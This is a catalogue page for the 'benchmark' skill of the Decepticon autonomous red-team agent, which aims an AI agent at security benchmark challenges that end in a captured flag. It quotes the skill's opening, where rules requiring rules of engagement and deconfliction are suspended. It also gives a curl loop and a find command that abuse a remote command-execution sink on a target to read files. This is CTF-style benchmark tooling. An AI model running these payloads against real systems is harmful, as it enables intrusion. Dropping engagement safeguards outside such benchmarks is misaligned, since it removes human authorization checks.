A benchmark mode for security challenges in which the required result is a captured flag, usually a special text value proving that a challenge was solved. It changes the reporting and task flow so the flag is the deliverable.

Use it when running security benchmark challenges that provide a target, vulnerability details, and a flag format.

It keeps challenge work focused on finding and verifying the required result instead of producing a general report.

benchmark — Skill for Claude Code and Codex by PurpleAILAB: A benchmark mode for security challenges in which the…

About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,436 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods

npx agentmods add skills/purpleailab/decepticon/benchmark

Any agent

npx skills add PurpleAILAB/Decepticon --skill benchmark

Clone the repo

git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/benchmark.svg)](https://agentmods.dev/skills/purpleailab/decepticon/benchmark)

Your own site

<a href="https://agentmods.dev/skills/purpleailab/decepticon/benchmark"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/benchmark.svg" alt="Measured on agentmods" height="20"></a>

Per session 18 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 1,566 The whole file, excluding the scripts and references it only reads on demand.

Security scan A 1 finding. Scan, not verified.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5	$0.00018	$0.01566
Opus 5	$0.00009	$0.00783
Sonnet 5	$0.00004	$0.00313
Haiku 4.5	$0.00002	$0.00157

Measured 5d ago against content hash 27760619f894, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

benchmark scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

Generic skills under `/skills/standard/exploit/web/` (`command-injection/SKILL.md`, `cve/SKILL.md`, etc.) cover credential/secret extraction but intentionally exclude CTF flag conventions. Once any RCE primitive is confi

packages/decepticon/decepticon/skills/benchmark/SKILL.md · 119 lines

How it starts

The opening of the file, as written. The whole thing — 119 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Benchmark Mode

The engagement objective is flag capture. Per-challenge context (target URL, vulnerability tags, flag format, mission brief, extra service ports) is injected into the system message every model call by EngagementContextMiddleware — read it; do NOT duplicate it here, and do NOT ask the operator for it.

Suspended CRITICAL_RULES under benchmark mode

Rule 8 (Startup Required) — flag IS the deliverable; no roe/conops/deconfliction.
Rule 9 (Final Report) — no executive summary; the flag string is the report.

All other CRITICAL_RULES remain active. Recon→exploit ordering, OPPLAN discipline, no-bash-in-orchestrator, tag routing, OPSEC, and budget pacing live in their owning prompts/skills (see decepticon.md Rules 20/22, the recon/exploit agent prompts, and /skills/standard/exploit/web/SKILL.md for vuln routing).

SHORT-CIRCUIT — flag/credential found

When a sub-agent (recon or exploit) returns a verified flag or flag-equivalent credential:

update_objective remaining objectives to passed.
Your VERY NEXT response is the final answer, re-echoing the flag VERBATIM in the format announced by the middleware (e.g. Flag captured: FLAG{<value>}). The harness scans ONLY the orchestrator's final message — if the flag string lives only inside a sub-agent return, it is LOST.

Flag-path sweep (after RCE confirmed)

Generic skills under /skills/standard/exploit/web/ (command-injection/SKILL.md, cve/SKILL.md, etc.) cover credential/secret extraction but intentionally exclude CTF flag conventions. Once any RCE primitive is confirmed (id, hostname, or arbitrary file read), run this single batched sweep — do NOT issue one curl per path:

# CTF flag-path conventions — XBOW / picoCTF / HackTheBox / TryHackMe overlap.
for f in /opt/flag.txt /flag /flag.txt /root/flag.txt /root/flag \
         /home/*/flag.txt /home/*/flag /tmp/flag.txt /tmp/flag \
         /var/www/flag.txt /var/www/html/flag.txt /srv/flag.txt /srv/flag; do
  result=$(curl -s "http://<TARGET>/<RCE_SINK>?cmd=cat+$f" 2>/dev/null | head -5)
  [ -n "$result" ] && echo "=== $f ===" && echo "$result"
done | tee /tmp/flag_sweep.txt
head -50 /tmp/flag_sweep.txt

# Broad flag-filename find (when path is non-standard)
curl -s "http://<TARGET>/<RCE_SINK>?cmd=find+/+-type+f+\(-name+'flag*'-o+-name+'FLAG*'\)+-not+-path+'/proc/*'+-not+-path+'/sys/*'+2>/dev/null" \
  -o /tmp/find_flag.txt
head -20 /tmp/find_flag.txt

Read the full file on GitHub · 119 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

5d ago First seen · 119 lines · 18 tokens per session scan A 27760619f894

Subscribe to this mod's changes

benchmark is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,436 stars, last pushed 5d ago), licensed Apache-2.0. It adds 18 tokens to every session and 1,566 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

LangChain Security agent ai cybersecurity generative-ai hacking

benchmark

Getting it into your agent

Wrote this? Show the measurements

What it costs to keep this loaded

Grade A, and why

Makes network callslowCapability

How it starts

Benchmark Mode

Suspended CRITICAL_RULES under benchmark mode

SHORT-CIRCUIT — flag/credential found

Flag-path sweep (after RCE confirmed)

What this file has done since we first saw it

Other skills, from other repositories

interactive-dashboard

onboarding

idea-generation

add-model

python-lib-analyzer

fx-notes